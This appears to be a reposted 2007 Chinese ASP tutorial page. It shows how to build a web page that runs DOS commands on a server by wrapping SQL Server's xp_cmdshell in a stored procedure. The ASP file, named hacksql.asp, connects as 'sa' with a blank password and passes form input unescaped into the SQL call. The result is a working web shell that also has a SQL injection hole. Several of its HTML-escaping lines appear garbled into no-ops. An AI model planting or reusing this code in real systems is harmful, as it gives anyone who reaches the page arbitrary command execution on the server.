注册 | 登录 | 设为首页 | 加入收藏
您当前的位置:飞翔学院-IT中国 → 编程开发Asp → 文章内容

利用sql的存储过程实现dos命令的asp程序(原创^_^)

作者:IT 来源:不详 发布时间:2007-9-1 23:58:16
1、首先在sql里面你能够访问的数据库里面建立存储过程,比如说:ddy
如下:
CREATE PROCEDURE ddy
@cmd varchar(50)
AS
exec master..xp_cmdshell @cmd
2、asp程序里如下:(hacksql.asp)
<%
cmd=trim(Request.Form("cmd"))
if cmd<>"" then
    work()
else
    show()
end if
function work()
    set conn=server.CreateObject("adodb.connection")
    set rs=server.CreateObject("adodb.recordset")
    conn.Open "xx","sa",""
    sql="exec ddy '"&cmd&"'"
    
    rs.Open sql,conn
    if not rs.EOF then
        do while not rs.eof
                                       Response.Write "<pre>"&htmlencode2(trim(rs(0)))&"</pre>"
            rs.MoveNext
        loop
    else
        Response.Write "no"
    end if
    if rs.State=1 then rs.close
    set rs=nothing
    conn.Close
    set conn=nothing
end function
function show()
%>
<form action=hacksql.asp method=post>
请输入DOS命令:<input type=text name=cmd>
<input type=submit value="ok">
</form>
<%
end function
function htmlencode2(str)'--------转换函数(为了显示时比较工整)
    dim result
    dim l
    if isnull(str) then
       htmlencode2=""
       exit function
    end if
    l=len(str)
    result=""
    dim i
    for i = 1 to l
        select case mid(str,i,1)
               case "<"
                    result=result+"<"
               case ">"
                    result=result+">"
               case chr(34)
                    result=result+"""
               case "&"
                    result=result+"&"
               case chr(13)
                    result=result+"<br>"
               case chr(9)
                    result=result+"    "
           case "'"
            result=result+"’"
               case chr(32)               
                    result=result+" "
                    if i+1<=l and i-1>0 then
                       if mid(str,i+1,1)=chr(32) or mid(str,i+1,1)=chr(9) or mid(str,i-1,1)=chr(32) or mid(str,i-1,1)=chr(9)  then                          
                          result=result+" "
                       else
                          result=result+" "
                       end if
                    else
                       result=result+" "                        
                    end if
               case else
                    result=result+mid(str,i,1)
         end select
       next
       htmlencode2=result
   end function
%>

http://www.itcnw.com/
  • 打印文档
  • 推荐好友
  • 返回顶部
  • 增大字体
  • 减少字体
关于本站 | 工作机会 | 合作网站 | 广告服务 | 市场合作| 联系我们 | 抽奖活动
版权所有: 武汉威俊科技有限公司 Copyright 2005-2007 www.ITCNW.COM All rights reserved